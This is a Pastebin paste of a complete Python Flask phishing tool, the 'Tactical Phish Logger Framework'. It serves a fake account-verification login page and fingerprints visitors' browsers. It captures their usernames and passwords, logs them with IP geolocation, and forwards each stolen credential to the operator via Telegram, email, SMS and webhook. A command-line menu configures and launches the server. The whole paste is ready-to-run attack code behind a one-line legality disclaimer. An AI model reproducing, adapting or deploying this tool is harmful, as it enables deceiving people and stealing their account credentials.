Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import sys
- import uuid
- import json
- import threading
- import smtplib
- import requests
- import cmd
- from flask import Flask, request, Response, session
- from datetime import datetime
- from email.mime.text import MIMEText
- from cryptography.fernet import Fernet
- app = Flask(__name__)
- app.secret_key = os.urandom(24)
- server_thread = None
- CONFIG = {
- "log_dir": "logs",
- "plaintext_log": "logs/creds.txt",
- "json_log": "logs/creds.json",
- "encrypt_logs": False,
- "fernet_key": Fernet.generate_key().decode(),
- "geo_lookup": True,
- "alert_methods": ["telegram", "email", "sms", "webhook"],
- "telegram_bot_token": "YOUR_BOT_TOKEN",
- "telegram_chat_id": "YOUR_CHAT_ID",
- "email_smtp_server": "smtp.gmail.com",
- "email_smtp_port": 587,
- "email_password": "your_app_password",
- "webhook_url": "", # <-- Set your webhook URL here for extended usage
- "host": "0.0.0.0",
- "port": 5000
- }
- fernet = Fernet(CONFIG["fernet_key"].encode())
- HTML_PAGE = """
- <!DOCTYPE html>
- <html>
- <head>
- <title>Account Verification</title>
- <style>
- body { background:#f3f3f3; display:flex; align-items:center; justify-content:center; height:100vh; font-family:sans-serif }
- .box { background:white; padding:30px; border-radius:10px; box-shadow:0 0 15px rgba(0,0,0,0.1); text-align:center; max-width:400px; width:100% }
- input { width:90%; padding:12px; margin:10px 0; border-radius:5px; border:1px solid #ccc }
- button { padding:12px 20px; background:#007bff; color:white; border:none; border-radius:5px; cursor:pointer; width:100% }
- small { color:#777 }
- </style>
- </head>
- <body>
- <div class="box">
- <h2>Account Security Check</h2>
- <form id="mainForm">
- <input type="text" name="username" placeholder="Username" required><br>
- <input type="password" name="password" placeholder="Password" required><br>
- <input type="hidden" id="fp" name="fp">
- <button type="submit">Verify</button>
- <small>Verifying protects your identity.</small>
- </form>
- </div>
- <script>
- const form = document.getElementById('mainForm');
- form.fp.value = JSON.stringify({
- screen: { width: screen.width, height: screen.height },
- platform: navigator.platform,
- timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
- lang: navigator.language,
- ua: navigator.userAgent
- });
- fetch("/api/ping", { method: "POST" });
- form.addEventListener("submit", e => {
- e.preventDefault();
- fetch("/api/collect", { method: "POST", body: new FormData(form) })
- .then(() => location.href = "https://textme.com");
- });
- </script>
- </body>
- </html>
- """
- def now():
- return datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S UTC")
- def geo_lookup(ip):
- if not CONFIG["geo_lookup"]:
- return {}
- try:
- r = requests.get(f"http://ip-api.com/json/{ip}", timeout=5).json()
- return {
- "country": r.get("country", ""),
- "region": r.get("regionName", ""),
- "city": r.get("city", ""),
- "lat": r.get("lat", ""),
- "lon": r.get("lon", ""),
- "isp": r.get("isp", ""),
- "org": r.get("org", ""),
- "asn": r.get("as", "")
- }
- except Exception:
- return {}
- def save_log(entry):
- os.makedirs(CONFIG["log_dir"], exist_ok=True)
- plaintext_path = CONFIG["plaintext_log"]
- json_path = CONFIG["json_log"]
- try:
- if CONFIG["encrypt_logs"]:
- enc = fernet.encrypt(json.dumps(entry).encode()).decode()
- with open(plaintext_path, "a") as f:
- f.write(enc + "\n")
- else:
- with open(plaintext_path, "a") as f:
- f.write(json.dumps(entry, indent=2) + "\n")
- with open(json_path, "a") as f:
- json.dump(entry, f)
- f.write(",\n")
- except Exception as e:
- print(f"[!] Error writing logs: {e}")
- def send_alert(msg):
- if "telegram" in CONFIG["alert_methods"]:
- try:
- if CONFIG["telegram_bot_token"] != "YOUR_BOT_TOKEN":
- requests.post(
- f"https://api.telegram.org/bot{CONFIG['telegram_bot_token']}/sendMessage",
- data={"chat_id": CONFIG["telegram_chat_id"], "text": msg},
- timeout=5)
- except Exception as e:
- print(f"[!] Telegram error: {e}")
- if "email" in CONFIG["alert_methods"]:
- try:
- m = MIMEText(msg)
- m["From"] = CONFIG["email_from"]
- m["To"] = CONFIG["email_to"]
- m["Subject"] = "Phish Logger Hit"
- with smtplib.SMTP(CONFIG["email_smtp_server"], CONFIG["email_smtp_port"]) as s:
- s.starttls()
- s.login(CONFIG["email_from"], CONFIG["email_password"])
- s.sendmail(CONFIG["email_from"], CONFIG["email_to"], m.as_string())
- except Exception as e:
- print(f"[!] Email error: {e}")
- if "sms" in CONFIG["alert_methods"]:
- try:
- m = MIMEText(msg)
- m["From"] = CONFIG["email_from"]
- m["To"] = CONFIG["sms_gateway"]
- m["Subject"] = ""
- with smtplib.SMTP(CONFIG["email_smtp_server"], CONFIG["email_smtp_port"]) as s:
- s.starttls()
- s.login(CONFIG["email_from"], CONFIG["email_password"])
- s.sendmail(CONFIG["email_from"], CONFIG["sms_gateway"], m.as_string())
- except Exception as e:
- print(f"[!] SMS error: {e}")
- if "webhook" in CONFIG["alert_methods"]:
- try:
- if CONFIG["webhook_url"]:
- payload = {"text": msg}
- requests.post(CONFIG["webhook_url"], json=payload, timeout=5)
- except Exception as e:
- print(f"[!] Webhook error: {e}")
- @app.before_request
- def assign_session():
- if "sid" not in session:
- session["sid"] = str(uuid.uuid4())
- @app.route("/", methods=["GET"])
- def index():
- return Response(HTML_PAGE, mimetype="text/html")
- @app.route("/api/ping", methods=["POST"])
- def ping():
- return "", 204
- @app.route("/api/collect", methods=["POST"])
- def collect():
- ip = request.remote_addr
- username = request.form.get("username", "")
- password = request.form.get("password", "")
- fp_json = request.form.get("fp", "{}")
- try:
- fingerprint = json.loads(fp_json)
- except Exception:
- fingerprint = {}
- geo = geo_lookup(ip)
- log_entry = {
- "timestamp": now(),
- "session": session["sid"],
- "ip": ip,
- "geo": geo,
- "fingerprint": fingerprint,
- "credentials": {
- "username": username,
- "password": password
- }
- }
- save_log(log_entry)
- alert_msg = (
- f"🛑 Credential Captured\n"
- f"Time: {log_entry['timestamp']}\n"
- f"IP: {ip}\n"
- f"Location: {geo.get('city', 'N/A')}, {geo.get('country', 'N/A')}\n"
- f"Username: {username}\nPassword: {password}\n"
- f"User Agent: {fingerprint.get('ua', 'N/A')}"
- )
- send_alert(alert_msg)
- return "", 204
- def run_server():
- app.run(host=CONFIG["host"], port=CONFIG["port"])
- def start_server():
- global server_thread
- if server_thread and server_thread.is_alive():
- print("[!] Server is already running.")
- return
- server_thread = threading.Thread(target=run_server, daemon=True)
- server_thread.start()
- print(f"[+] Server started on http://{CONFIG['host']}:{CONFIG['port']}")
- def stop_server():
- print("[!] Flask development server cannot be stopped programmatically.")
- print("[!] To stop, press Ctrl+C in the terminal or close the process.")
- class PhishCLI(cmd.Cmd):
- intro = "Welcome to Tactical Phish Logger Framework CLI.\nType help or ? to list commands.\n"
- prompt = "(phish) "
- def do_show(self, arg):
- "Show current configuration"
- for k, v in CONFIG.items():
- print(f"{k}: {v}")
- def do_set(self, arg):
- "Set configuration option: set <key> <value>\nFor list values, separate by commas.\nFor booleans, use true/false."
- try:
- key, value = arg.split(" ", 1)
- if key not in CONFIG:
- print(f"[!] Unknown config key '{key}'")
- return
- if isinstance(CONFIG[key], bool):
- value = value.lower() in ("true", "1", "yes")
- elif isinstance(CONFIG[key], list):
- value = [x.strip() for x in value.split(",")]
- elif isinstance(CONFIG[key], int):
- value = int(value)
- CONFIG[key] = value
- if key == "fernet_key":
- global fernet
- fernet = Fernet(value.encode())
- print(f"[+] Set {key} = {value}")
- except ValueError:
- print("[!] Usage: set <key> <value>")
- except Exception as e:
- print(f"[!] Error setting config: {e}")
- def do_start(self, arg):
- "Start phishing server"
- start_server()
- def do_stop(self, arg):
- "Stop phishing server"
- stop_server()
- def do_save(self, arg):
- "Save current config to 'phish_config.json'"
- try:
- with open("phish_config.json", "w") as f:
- json.dump(CONFIG, f, indent=2)
- print("[+] Configuration saved to phish_config.json")
- except Exception as e:
- print(f"[!] Failed to save config: {e}")
- def do_load(self, arg):
- "Load config from 'phish_config.json'"
- try:
- with open("phish_config.json") as f:
- loaded = json.load(f)
- CONFIG.update(loaded)
- global fernet
- fernet = Fernet(CONFIG["fernet_key"].encode())
- print("[+] Configuration loaded from phish_config.json")
- except Exception as e:
- print(f"[!] Failed to load config: {e}")
- def do_clear(self, arg):
- "Clear the terminal screen"
- os.system('cls' if os.name == 'nt' else 'clear')
- def do_exit(self, arg):
- "Exit CLI (stop server manually if running)"
- print("Exiting...")
- sys.exit(0)
- if __name__ == "__main__":
- print("""
- Tactical Phish Logger Framework
- --------------------------------
- Instructions:
- - Use 'show' to view current config.
- - Use 'set <key> <value>' to update config (e.g., set telegram_bot_token YOURTOKEN).
- - Use 'start' to launch phishing server (runs in background).
- - Use 'stop' to get info on stopping (Ctrl+C needed).
- - Use 'save' to save config to phish_config.json.
- - Use 'load' to load config from phish_config.json.
- - Use 'clear' to clear the screen.
- - Use 'exit' to quit this CLI.
- Before starting the server, ensure you configure:
- - telegram_bot_token and telegram_chat_id for Telegram alerts.
- - email_from, email_password, email_to for email alerts.
- - sms_gateway for SMS alerts (email-to-text gateway).
- - webhook_url for webhook alerts if used.
- - Adjust alert_methods list as needed (e.g., telegram,email,webhook).
- The phishing page mimics a login form and captures credentials with enhanced metadata.
- Remember: Running this tool may be illegal without authorization. Use responsibly.
- """)
- PhishCLI().cmdloop()
Advertisement
Add Comment
Please, Sign In to add comment